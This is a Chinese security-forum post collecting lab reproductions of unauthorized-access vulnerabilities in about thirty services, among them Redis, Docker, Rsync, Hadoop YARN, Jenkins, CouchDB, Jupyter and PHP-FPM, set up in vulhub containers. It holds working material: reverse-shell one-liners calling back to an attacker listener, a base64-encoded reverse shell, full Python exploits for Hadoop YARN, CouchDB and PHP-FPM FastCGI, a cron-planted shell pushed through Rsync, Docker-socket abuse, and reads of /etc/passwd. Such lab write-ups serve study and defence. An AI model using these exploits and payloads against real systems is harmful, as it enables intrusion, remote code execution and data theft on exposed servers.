安全矩阵

 找回密码
 立即注册
搜索
查看: 5837|回复: 0

超全面未授权访问漏洞复现合集

[复制链接]

855

主题

862

帖子

2940

积分

金牌会员

Rank: 6Rank: 6

积分
2940
发表于 2021-7-19 08:59:15 | 显示全部楼层 |阅读模式
原文链接:超全面未授权访问漏洞复现合集

已在Freebuf同步发送,可点击阅读原文查看。

1. MongoDB未授权访问漏洞1.1. 环境部署
  1. docker search mongodb  # 从Docker Hub查找镜像
  2. docker pull mongo  #从镜像仓库中拉取或者更新指定镜像
  3. docker images mongo #列出本地主机上的mongo镜像
  4. docker run -d -p 27017:27017 --name mongodb mongo  # 创建一个新的容器并运行一个命令
  5. docker ps  # 显示正在运行的容器
复制代码


此处通过nmap进行扫描,发现端口状态为filtered
root@kali:~# nmap -p 27017 --script mongodb-info 192.168.96.128

在靶机上,执行以下命令:
  1. echo  "net.ipv4.ip_forward = 1"  >>  /usr/lib/sysctl.d/00-system.conf
  2. systemctl  restart  network
复制代码
关闭防火墙:
systemctl stop firewalld
重新扫描发现端口状态变为open:
root@kali:~# nmap -p 27017 --script mongodb-info 192.168.96.128

1.2. 漏洞复现使用工具nosqlbooster4mongo-6.1.8.exe(https://s3.mongobooster.com/down ... ter4mongo-6.1.8.exe)进行连接:

2. Redis 未授权访问漏洞2.1. 环境部署
  1. [root@localhost vulhub-master]# cd redis/
  2. [root@localhost redis]# ls
  3. 4-unacc
  4. [root@localhost redis]# cd 4-unacc/
  5. [root@localhost 4-unacc]# ls
  6. 1.png  docker-compose.yml  README.md
  7. [root@localhost 4-unacc]# docker-compose build&&docker-compose up -d
复制代码

2.2. 漏洞复现使用nmap进行扫描:
nmap -A -p 6379 --script redis-info 192.168.96.128

./redis-cli -h 192.168.96.128

3. Memcached 未授权访问漏洞Cve编号:CVE-2013-7239
3.1. 环境部署memcached安装参考
https://blog.csdn.net/weixin_42231507/article/details/81147203
netstat -an |more

3.2. 漏洞复现nmap -sV -p11211 --script memcached-info 192.168.96.128

telnet 192.168.96.128 11211

root@kali:~# nc -vv 192.168.96.128 11211

4. Jboss未授权访问漏洞4.1. 环境部署使用vulhub搭建漏洞环境(vulhub/jboss/CVE-2017-7504)

http://192.168.96.128:8080/

4.2. 漏洞复现打开JMX Console


打开
http://192.168.96.128:8080/jmx-c ... nner%2Cflavor%3DURL

然后部署应用:
​​
应用地址为:http://192.168.96.132/shell.war  (在Kali主机上启用root@kali:~/server# python -m SimpleHTTPServer 80)

成功部署:

访问http://192.168.96.128:8080/shell/ 可以看到我们的shell:

使用冰蝎连接木马:


执行命令:

4.3. 参考https://www.cnblogs.com/-an-/p/13566483.html
5. VNC未授权访问漏洞5.1. 环境部署安装vnc可参考https://blog.csdn.net/nahancy/article/details/86316971

5.2. 漏洞复现这里遇到一个问题:
部署的vnc环境,必须得设置密码,VNC服务才能启动。
但有密码,就无法复现该漏洞(攻击者无法获取到密码)
这里可参考其他人发的,使用VNC Viewer 进行漏洞利用:


6. Docker未授权访问漏洞6.1. 环境部署cd /vulhub-master/docker/unauthorized-rce
docker-compose build&&docker-compose up -d
6.2. 漏洞复现访问http://192.168.131.128:2375/version

以下操作,应在攻击机上操作,本处攻击机Kali磁盘不足,无法安装docker,故以下命令在靶机执行。
docker -H tcp://192.168.131.128:2375  version


启动容器
  1. docker -H tcp://192.168.131.128:2375 run -id -v /etc/crontabs:/tmp alpine:latest
  2. docker -H tcp://192.168.131.128:2375 ps
复制代码



进入容器:
[root@localhost ~]# docker -H tcp://192.168.131.128:2375 exec -it 5f9f32a6fdc2 sh

Kali上成功获取到shell:


7. ZooKeeper 未授权访问漏洞7.1. 环境部署​​
参考https://blog.csdn.net/baidu_32872293/article/details/92656998
搭建zooKeeper

7.2. 漏洞复现执行root@kali:~# echo envi|nc 192.168.131.128 2181 获取服务器环境信息:


root@kali:~# echo stat |nc 192.168.131.128 2181

参考


7.3. 参考https://www.cnblogs.com/xiaozi/p/8277968.html
https://www.icode9.com/content-4-599308.html
8. Rsync未授权访问漏洞8.1. 环境部署使用vulhub进行环境部署
root@kali:~# nmap -p 873 192.168.131.128,端口扫描结果:

8.2. 漏洞复现root@kali:~# rsync rsync://192.168.131.128:873/

root@kali:~# rsync rsync://192.168.131.128:873/src/

下载文件
root@kali:~# rsync -av rsync://192.168.131.128/src/etc/passwd /root/passwd.txt


下载crontab文件:
rsync -av rsync://192.168.131.128/src/etc/crontab /root/crontab.txt

编写shell文件:
root@kali:~# cat shell
#!/bin/bash
/bin/bash -i >& /dev/tcp/192.168.131.129/4444 0>&1
赋予执行权限:
chmod +x shell
将shell文件上传到cron.hourly
rsync -av shell rsync://192.168.131.128/src/etc/cron.hourly
​​
第17分钟时,获取到shell:

9. Hadoop未授权访问漏洞9.1. 环境部署使用vulhub搭建漏洞环境
  1. [root@localhost vulhub-master]# cd hadoop/
  2. [root@localhost hadoop]# ls
  3. unauthorized-yarn
  4. [root@localhost hadoop]# cd unauthorized-yarn/
  5. [root@localhost unauthorized-yarn]# docker-compose build&&docker-compose up -d
复制代码

访问http://192.168.131.128:8088/cluster

9.2. 漏洞复现Kali上开启端口监听:
nc -lvp 9999,然后执行EXP:
  1. #!/usr/bin/env python
  2. import requests
  3. target = 'http://192.168.131.128:8088/'
  4. lhost = '192.168.131.129' # put your local host ip here, and listen at port 9999

  5. url = target + 'ws/v1/cluster/apps/new-application'
  6. resp = requests.post(url)
  7. app_id = resp.json()['application-id']
  8. url = target + 'ws/v1/cluster/apps'
  9. data = {
  10.     'application-id': app_id,
  11.     'application-name': 'get-shell',
  12.     'am-container-spec': {
  13.         'commands': {
  14.             'command': '/bin/bash -i >& /dev/tcp/%s/9999 0>&1' % lhost,
  15.         },
  16.     },
  17.     'application-type': 'YARN',
  18. }
  19. requests.post(url, json=data)
复制代码




10. Jenkins未授权访问漏洞10.1. 环境部署
  1. [root@localhost vulhub-master]# cd jenkins/
  2. [root@localhost jenkins]# s
  3. bash: s: 未找到命令...
  4. [root@localhost jenkins]# ls
  5. CVE-2017-1000353  CVE-2018-1000861
  6. [root@localhost jenkins]#
  7. [root@localhost jenkins]# cd CVE-2017-1000353/
  8. [root@localhost CVE-2017-1000353]# docker-compose build&&docker-compose up -d
复制代码

访问http://192.168.131.128:8080/
10.2. 漏洞复现使用admin/admin登录【此处漏洞环境需登录才可访问/script,旧版本存在未登录直接访问】

执行println "whoami".execute().text

println "ls".execute().text

执行java-jar CVE-2017-1000353-1.1-SNAPSHOT-all.jar jenkins_poc.ser "touch /tmp/success"  生成字节码

执行python3 exploit.py http://your-ip:8080 jenkins_poc.ser将字节码发送到靶机:

进入靶机可以看到,成功创建success文件:

反弹shell:
生成字节码:
java -jar CVE-2017-1000353-1.1-SNAPSHOT-all.jar jenkins_poc3.ser "bash -c {echo,L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzE5Mi4xNjguMTMxLjEyOS85OTk5IDA+JjE=}|{base64,-d}|{bash,-i}"

发送字节码
root@kali:~/CVE-2017-1000353# python3 exploit.py http://192.168.131.128:8080/ jenkins_poc3.ser
成功获取到shell:

10.3. 利用工具https://github.com/vulhub/CVE-2017-1000353/releases/download/1.1/CVE-2017-1000353-1.1-SNAPSHOT-all.jar
https://github.com/vulhub/CVE-2017-1000353
​​
10.4. 参考https://zhuanlan.zhihu.com/p/116067599
11. Elasticsearch未授权访问漏洞11.1. 环境部署使用vulhub搭建环境
  1. [root@localhost vulhub-master]# cd elasticsearch/
  2. [root@localhost elasticsearch]# ls
  3. CVE-2014-3120  CVE-2015-1427  CVE-2015-3337  CVE-2015-5531  WooYun-2015-110216
  4. [root@localhost elasticsearch]# cd CVE-2014-3120/
  5. [root@localhost CVE-2014-3120]# LS
  6. bash: LS: 未找到命令...
  7. 相似命令是:'ls'
  8. [root@localhost CVE-2014-3120]# ls
  9. 1.png  docker-compose.yml  README.md
  10. [root@localhost CVE-2014-3120]# docker-compose build&&docker-compose up -d
复制代码

11.2. 漏洞复现http://192.168.131.128:9200/

http://192.168.131.128:9200/_cat

http://192.168.131.128:9200/_nodes

12. CouchDB未授权访问漏洞12.1. 环境部署http://couchdb.apache.org/ 下载安装即可。
12.2. 漏洞复现http://127.0.0.1:5984/

http://127.0.0.1:5984/_utils/#login

想获取shell,但未成功
  1. #!/usr/bin/env python3
  2. import requests
  3. from requests.auth import HTTPBasicAuth

  4. target = 'http://172.20.10.8:5984'
  5. command = '"bash -i >& /dev/tcp/192.168.131.129/4444 0>&1"'
  6. version = 3

  7. session = requests.session()
  8. session.headers = {
  9.     'Content-Type': 'application/json'
  10. }
  11. # session.proxies = {
  12. #     'http': 'http://127.0.0.1:8085'
  13. # }
  14. session.put(target + '/_users/org.couchdb.user:wooyun', data='''{
  15.   "type": "user",
  16.   "name": "wooyun",
  17.   "roles": ["_admin"],
  18.   "roles": [],
  19.   "password": "wooyun"
  20. }''')

  21. session.auth = HTTPBasicAuth('wooyun', 'wooyun')

  22. if version == 1:
  23.     session.put(target + ('/_config/query_servers/cmd'), data=command)
  24. else:
  25.     host = session.get(target + '/_membership').json()['all_nodes'][0]
  26.     session.put(target + '/_node/{}/_config/query_servers/cmd'.format(host), data=command)

  27. session.put(target + '/wooyun')
  28. session.put(target + '/wooyun/test', data='{"_id": "wooyuntest"}')

  29. if version == 1:
  30.     session.post(target + '/wooyun/_temp_view?limit=10', data='{"language":"cmd","map":""}')
  31. else:
  32.     session.put(target + '/wooyun/_design/test', data='{"_id":"_design/test","views":{"wooyun":{"map":""} },"language":"cmd"}')
复制代码

使用docker搭建的环境:
  1. [root@localhsot ~]# cd /root/vulhub-master/couchdb/
  2. [root@localhsot couchdb]# cd CVE-2017-12636/
  3. [root@localhsot CVE-2017-12636]# LS
  4. bash: LS: 未找到命令...
  5. 相似命令是:'ls'
  6. [root@localhsot CVE-2017-12636]# docker-compose build&&docker-compose up -d
复制代码

http://192.168.131.128:5984/_config
使用exp:
  1. #!/usr/bin/env python3
  2. import requests
  3. import json
  4. import base64
  5. from requests.auth import HTTPBasicAuth

  6. target = 'http://192.168.131.128:5984'
  7. command = rb"""sh -i >& /dev/tcp/192.168.131.129/4444 0>&1"""
  8. version = 1

  9. session = requests.session()
  10. session.headers = {
  11.     'Content-Type': 'application/json'
  12. }
  13. # session.proxies = {
  14. #     'http': 'http://127.0.0.1:8085'
  15. # }
  16. session.put(target + '/_users/org.couchdb.user:wooyun', data='''{
  17.   "type": "user",
  18.   "name": "wooyun",
  19.   "roles": ["_admin"],
  20.   "roles": [],
  21.   "password": "wooyun"
  22. }''')

  23. session.auth = HTTPBasicAuth('wooyun', 'wooyun')

  24. command = "bash -c '{echo,%s}|{base64,-d}|{bash,-i}'" % base64.b64encode(command).decode()
  25. if version == 1:
  26.     session.put(target + ('/_config/query_servers/cmd'), data=json.dumps(command))
  27. else:
  28.     host = session.get(target + '/_membership').json()['all_nodes'][0]
  29.     session.put(target + '/_node/{}/_config/query_servers/cmd'.format(host), data=json.dumps(command))

  30. session.put(target + '/wooyun')
  31. session.put(target + '/wooyun/test', data='{"_id": "wooyuntest"}')

  32. if version == 1:
  33.     session.post(target + '/wooyun/_temp_view?limit=10', data='{"language":"cmd","map":""}')
  34. else:
  35.     session.put(target + '/wooyun/_design/test', data='{"_id":"_design/test","views":{"wooyun":{"map":""} },"language":"cmd"}')
复制代码

kali先开启端口监听:nc -lvp 4444然后执行exp:python3 exp.py
​​
Kali上成功获取到shell:

13. LDAP未授权访问漏洞参考https://www.cnblogs.com/Zh1z3ven/p/13894171.html

14. ActiveMQ未授权访问漏洞实际上是弱口令。。。
14.1. 环境部署参考https://blog.csdn.net/u012249177/article/details/81294334
14.2. 漏洞复现http://192.168.131.128:8161/admin/  admin/admin


15. Jupyter Notebook未授权访问漏洞15.1. 环境部署
  1. [root@localhost vulhub-master]# cd jupyter/
  2. [root@localhost jupyter]# ls
  3. notebook-rce
  4. [root@localhost jupyter]# cd notebook-rce/
  5. [root@localhost notebook-rce]# ls
  6. 1.png  2.png  docker-compose.yml  README.md
  7. [root@localhost notebook-rce]# docker-compose build&&docker-compose up -d
复制代码

访问http://192.168.131.128:8888/tree?
15.2. 漏洞复现


使用kali监听端口:
Nc -lvp 4444
然后在Terminal执行bash -i >& /dev/tcp/192.168.131.129/4444 0>&1

Kali(192.168.131.129)成功获取shell:

16. Kibana未授权访问漏洞16.1. 环境部署
  1. [root@localhost vulhub-master]# cd kibana/
  2. [root@localhost kibana]# ls
  3. CVE-2018-17246  CVE-2019-7609
  4. [root@localhost kibana]#
  5. [root@localhost kibana]# ls
  6. CVE-2018-17246  CVE-2019-7609
  7. [root@localhost kibana]# cd CVE-2018-17246/
  8. [root@localhost CVE-2018-17246]# LS
  9. bash: LS: 未找到命令...
  10. 相似命令是:'ls'
  11. [root@localhost CVE-2018-17246]# Ls
  12. bash: Ls: 未找到命令...
  13. 相似命令是:'ls'
  14. [root@localhost CVE-2018-17246]# docker-compose build&&docker-compose up -d
复制代码

16.2. 漏洞复现无需登录,直接访问http://192.168.131.128:5601/app/kibana#/

17. RabbitMQ未授权访问漏洞实际上是弱口令。。。
17.1. 环境部署​​
搭建参考https://blog.csdn.net/qq_17623363/article/details/99694261
访问http://192.168.131.128:15672/

17.2. 漏洞复现使用guest/guest登录:

18. Springboot actuator未授权访问漏洞 18.1. 环境部署参考https://github.com/callicoder/spring-boot-actuator-demo
18.2. 漏洞复现访问http://192.168.131.128:8080/

http://192.168.131.128:8080/actuator/info

http://192.168.131.128:8080/actuator/env

其他利用:
Http
路径
描述
get
/autoconfig
提供了一份自动配置报告,记录哪些自动配置条件通过了,哪些没通过
get
/configprops
描述配置属性(包含默认值)如何注入 Bean
get
/beans
描述应用程序上下文里全部的 Bean,以及它们的关系
get
/dump
获取线程活动的快照
get
/env
获取全部环境属性
get
/env/{name}
根据名称获取特定的环境属性值
get
/health
报告应用程序的健康指标,这些值由 HealthIndicator 的实现类提供
get
/info
获取应用程序的定制信息,这些信息由 info 打头的属性提供
get
/mappings
描述全部的 URI 路径,以及它们和控制器(包含 Actuator 端点)的映射关系
get
/metrics
报告各种应用程序度量信息,比如内存用量和 HTTP 请求计数
get
/metrics/{name}
报告指定名称的应用程序度量值
post
/shutdown
关闭应用程序,要求 endpoints.shutdown.enabled 设置为 true(默认为 false)
get
/trace
提供基本的 HTTP 请求跟踪信息(时间戳、HTTP 头等)              
19. FTP未授权访问漏洞19.1. 环境部署使用centos7自带的vsftpd
19.2. 漏洞复现ftp://192.168.131.128/

20. dubbo未授权访问漏洞20.1. 环境部署参考https://www.jianshu.com/p/e73d9f3576dd部署dubbo
20.2. 漏洞复现弱口令
http://192.168.131.128:8888 ,     root/root



其他利用方法可参考
​​
https://blog.csdn.net/qq_29277155/article/details/108390891



21. NFS未授权访问漏洞21.1. 环境部署[root@localhost ~]# service rpcbind start && service nfs start;
编辑 /etc/exports 指定共享目录
[root@localhost jean]# cat /etc/exports
/home/xxx/
21.2. 漏洞复现showmount -e localhost

22. Druid未授权访问漏洞22.1. 环境部署参考https://github.com/Fokko/docker-druid部署
http://192.168.131.128:8888/unified-console.html


22.2. 漏洞复现复现失败,复现可参考https://www.cnblogs.com/cwkiller/p/12483223.html
23. Windows ipc共享未授权访问漏洞

24. 宝塔未授权访问漏洞24.1. 环境部署
24.2. 漏洞复现使用24.1的环境复现失败
复现可参考https://www.cnblogs.com/bflw/p/13552367.html


25. PHP-FPM Fastcgi未授权访问漏洞25.1. 环境部署
  1. [root@localhsot vulhub-master]# cd fpm/
  2. [root@localhsot fpm]# ls
  3. 1.jpg  docker-compose.yml  README.md
  4. [root@localhsot fpm]# docker-compose build&&docker-compose up -d
复制代码

25.2. 漏洞复现使用exp进行复现:
  1. import socket
  2. import random
  3. import argparse
  4. import sys
  5. from io import BytesIO
  6. # Referrer: https://github.com/wuyunfeng/Python-FastCGI-Client
  7. PY2 = True if sys.version_info.major == 2 else False
  8. def bchr(i):
  9.     if PY2:
  10.         return force_bytes(chr(i))
  11.     else:
  12.         return bytes([i])

  13. def bord(c):
  14.     if isinstance(c, int):
  15.         return c
  16.     else:
  17.         return ord(c)

  18. def force_bytes(s):
  19.     if isinstance(s, bytes):
  20.         return s
  21.     else:
  22.         return s.encode('utf-8', 'strict')

  23. def force_text(s):
  24.     if issubclass(type(s), str):
  25.         return s
  26.     if isinstance(s, bytes):
  27.         s = str(s, 'utf-8', 'strict')
  28.     else:
  29.         s = str(s)
  30.     return s


  31. class FastCGIClient:
  32.     """A Fast-CGI Client for Python"""

  33.     # private
  34.     __FCGI_VERSION = 1

  35.     __FCGI_ROLE_RESPONDER = 1
  36.     __FCGI_ROLE_AUTHORIZER = 2
  37.     __FCGI_ROLE_FILTER = 3

  38.     __FCGI_TYPE_BEGIN = 1
  39.     __FCGI_TYPE_ABORT = 2
  40.     __FCGI_TYPE_END = 3
  41.     __FCGI_TYPE_PARAMS = 4
  42.     __FCGI_TYPE_STDIN = 5
  43.     __FCGI_TYPE_STDOUT = 6
  44.     __FCGI_TYPE_STDERR = 7
  45.     __FCGI_TYPE_DATA = 8
  46.     __FCGI_TYPE_GETVALUES = 9
  47.     __FCGI_TYPE_GETVALUES_RESULT = 10
  48.     __FCGI_TYPE_UNKOWNTYPE = 11

  49.     __FCGI_HEADER_SIZE = 8

  50.     # request state
  51.     FCGI_STATE_SEND = 1
  52.     FCGI_STATE_ERROR = 2
  53.     FCGI_STATE_SUCCESS = 3

  54.     def __init__(self, host, port, timeout, keepalive):
  55.         self.host = host
  56.         self.port = port
  57.         self.timeout = timeout
  58.         if keepalive:
  59.             self.keepalive = 1
  60.         else:
  61.             self.keepalive = 0
  62.         self.sock = None
  63.         self.requests = dict()

  64.     def __connect(self):
  65.         self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  66.         self.sock.settimeout(self.timeout)
  67.         self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
  68.         # if self.keepalive:
  69.         #     self.sock.setsockopt(socket.SOL_SOCKET, socket.SOL_KEEPALIVE, 1)
  70.         # else:
  71.         #     self.sock.setsockopt(socket.SOL_SOCKET, socket.SOL_KEEPALIVE, 0)
  72.         try:
  73.             self.sock.connect((self.host, int(self.port)))
  74.         except socket.error as msg:
  75.             self.sock.close()
  76.             self.sock = None
  77.             print(repr(msg))
  78.             return False
  79.         return True

  80.     def __encodeFastCGIRecord(self, fcgi_type, content, requestid):
  81.         length = len(content)
  82.         buf = bchr(FastCGIClient.__FCGI_VERSION) \
  83.                + bchr(fcgi_type) \
  84.                + bchr((requestid >> 8) & 0xFF) \
  85.                + bchr(requestid & 0xFF) \
  86.                + bchr((length >> 8) & 0xFF) \
  87.                + bchr(length & 0xFF) \
  88.                + bchr(0) \
  89.                + bchr(0) \
  90.                + content
  91.         return buf

  92.     def __encodeNameValueParams(self, name, value):
  93.         nLen = len(name)
  94.         vLen = len(value)
  95.         record = b''
  96.         if nLen < 128:
  97.             record += bchr(nLen)
  98.         else:
  99.             record += bchr((nLen >> 24) | 0x80) \
  100.                       + bchr((nLen >> 16) & 0xFF) \
  101.                       + bchr((nLen >> 8) & 0xFF) \
  102.                       + bchr(nLen & 0xFF)
  103.         if vLen < 128:
  104.             record += bchr(vLen)
  105.         else:
  106.             record += bchr((vLen >> 24) | 0x80) \
  107.                       + bchr((vLen >> 16) & 0xFF) \
  108.                       + bchr((vLen >> 8) & 0xFF) \
  109.                       + bchr(vLen & 0xFF)
  110.         return record + name + value

  111.     def __decodeFastCGIHeader(self, stream):
  112.         header = dict()
  113.         header['version'] = bord(stream[0])
  114.         header['type'] = bord(stream[1])
  115.         header['requestId'] = (bord(stream[2]) << 8) + bord(stream[3])
  116.         header['contentLength'] = (bord(stream[4]) << 8) + bord(stream[5])
  117.         header['paddingLength'] = bord(stream[6])
  118.         header['reserved'] = bord(stream[7])
  119.         return header

  120.     def __decodeFastCGIRecord(self, buffer):
  121.         header = buffer.read(int(self.__FCGI_HEADER_SIZE))

  122.         if not header:
  123.             return False
  124.         else:
  125.             record = self.__decodeFastCGIHeader(header)
  126.             record['content'] = b''
  127.             
  128.             if 'contentLength' in record.keys():
  129.                 contentLength = int(record['contentLength'])
  130.                 record['content'] += buffer.read(contentLength)
  131.             if 'paddingLength' in record.keys():
  132.                 skiped = buffer.read(int(record['paddingLength']))
  133.             return record

  134.     def request(self, nameValuePairs={}, post=''):
  135.         if not self.__connect():
  136.             print('connect failure! please check your fasctcgi-server !!')
  137.             return

  138.         requestId = random.randint(1, (1 << 16) - 1)
  139.         self.requests[requestId] = dict()
  140.         request = b""
  141.         beginFCGIRecordContent = bchr(0) \
  142.                                  + bchr(FastCGIClient.__FCGI_ROLE_RESPONDER) \
  143.                                  + bchr(self.keepalive) \
  144.                                  + bchr(0) * 5
  145.         request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_BEGIN,
  146.                                               beginFCGIRecordContent, requestId)
  147.         paramsRecord = b''
  148.         if nameValuePairs:
  149.             for (name, value) in nameValuePairs.items():
  150.                 name = force_bytes(name)
  151.                 value = force_bytes(value)
  152.                 paramsRecord += self.__encodeNameValueParams(name, value)

  153.         if paramsRecord:
  154.             request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, paramsRecord, requestId)
  155.         request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, b'', requestId)

  156.         if post:
  157.             request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, force_bytes(post), requestId)
  158.         request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, b'', requestId)

  159.         self.sock.send(request)
  160.         self.requests[requestId]['state'] = FastCGIClient.FCGI_STATE_SEND
  161.         self.requests[requestId]['response'] = b''
  162.         return self.__waitForResponse(requestId)

  163.     def __waitForResponse(self, requestId):
  164.         data = b''
  165.         while True:
  166.             buf = self.sock.recv(512)
  167.             if not len(buf):
  168.                 break
  169.             data += buf

  170.         data = BytesIO(data)
  171.         while True:
  172.             response = self.__decodeFastCGIRecord(data)
  173.             if not response:
  174.                 break
  175.             if response['type'] == FastCGIClient.__FCGI_TYPE_STDOUT \
  176.                     or response['type'] == FastCGIClient.__FCGI_TYPE_STDERR:
  177.                 if response['type'] == FastCGIClient.__FCGI_TYPE_STDERR:
  178.                     self.requests['state'] = FastCGIClient.FCGI_STATE_ERROR
  179.                 if requestId == int(response['requestId']):
  180.                     self.requests[requestId]['response'] += response['content']
  181.             if response['type'] == FastCGIClient.FCGI_STATE_SUCCESS:
  182.                 self.requests[requestId]
  183.         return self.requests[requestId]['response']

  184.     def __repr__(self):
  185.         return "fastcgi connect host:{} port:{}".format(self.host, self.port)


  186. if __name__ == '__main__':
  187.     parser = argparse.ArgumentParser(description='Php-fpm code execution vulnerability client.')
  188.     parser.add_argument('host', help='Target host, such as 127.0.0.1')
  189.     parser.add_argument('file', help='A php file absolute path, such as /usr/local/lib/php/System.php')
  190.     parser.add_argument('-c', '--code', help='What php code your want to execute', default='<?php phpinfo(); exit; ?>')
  191.     parser.add_argument('-p', '--port', help='FastCGI port', default=9000, type=int)

  192.     args = parser.parse_args()

  193.     client = FastCGIClient(args.host, args.port, 3, 0)
  194.     params = dict()
  195.     documentRoot = "/"
  196.     uri = args.file
  197.     content = args.code
  198.     params = {
  199.         'GATEWAY_INTERFACE': 'FastCGI/1.0',
  200.         'REQUEST_METHOD': 'POST',
  201.         'SCRIPT_FILENAME': documentRoot + uri.lstrip('/'),
  202.         'SCRIPT_NAME': uri,
  203.         'QUERY_STRING': '',
  204.         'REQUEST_URI': uri,
  205.         'DOCUMENT_ROOT': documentRoot,
  206.         'SERVER_SOFTWARE': 'php/fcgiclient',
  207.         'REMOTE_ADDR': '127.0.0.1',
  208.         'REMOTE_PORT': '9985',
  209.         'SERVER_ADDR': '127.0.0.1',
  210.         'SERVER_PORT': '80',
  211.         'SERVER_NAME': "localhost",
  212.         'SERVER_PROTOCOL': 'HTTP/1.1',
  213.         'CONTENT_TYPE': 'application/text',
  214.         'CONTENT_LENGTH': "%d" % len(content),
  215.         'PHP_VALUE': 'auto_prepend_file = php://input',
  216.         'PHP_ADMIN_VALUE': 'allow_url_include = On'
  217.     }
  218.     response = client.request(params, content)
  219.     print(force_text(response))
复制代码

D:\hw>python php.py 192.168.131.128 /usr/local/lib/php/PEAR.php -c "<?php echo `id`;exit;?>"

26. Weblogic未授权访问漏洞26.1. 环境部署[root@localhsot weblogic]# cd CVE-2018-2894/
[root@localhsot CVE-2018-2894]# docker-compose build&&docker-compose up -d
26.2. 漏洞复现无需登录,直接未授权访问http://192.168.131.128:7001/ws_utc/config.do

27. uWSGI未授权访问漏洞27.1. 环境部署
  1. [root@localhsot vulhub-master]# cd uwsgi/
  2. [root@localhsot uwsgi]# ls
  3. CVE-2018-7490  unacc
  4. [root@localhsot uwsgi]# cd unacc/
  5. [root@localhsot unacc]# docker-compose build&&docker-compose up -d
复制代码

27.2. 漏洞复现使用以下exp:
https://github.com/wofeiwo/webcg ... python/uwsgi_exp.py
执行:
D:\hw>python test.py -u 192.168.131.128:8000 -c "touch /tmp/20201125"

成功创建文件:

尝试获取shell,未成功。。。
28. WordPress未授权访问漏洞28.1. 环境部署略。
28.2. 漏洞复现可参考https://www.cnblogs.com/bflw/p/12342845.html
29. Kong未授权访问漏洞(CVE-2020-11710)29.1. 环境部署略。
29.2. 漏洞复现复现可参考https://xz.aliyun.com/t/7631
30. ThinkAdminV6未授权访问漏洞30.1. 环境部署略。
30.2. 漏洞复现可参考https://www.cnblogs.com/cn-gov/p/13715861.html
31. 参考未授权访问漏洞总结
https://www.freebuf.com/articles/web/207877.html
未授权访问漏洞总结
https://www.cnblogs.com/csnd/p/11807650.html
未授权访问
https://www.yuque.com/cheng-4ueio/tow7i5/uugb6t
26种未授权访问漏洞总结
https://blog.csdn.net/qq_29277155/article/details/108390891





回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-11-29 10:36 , Processed in 0.017492 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表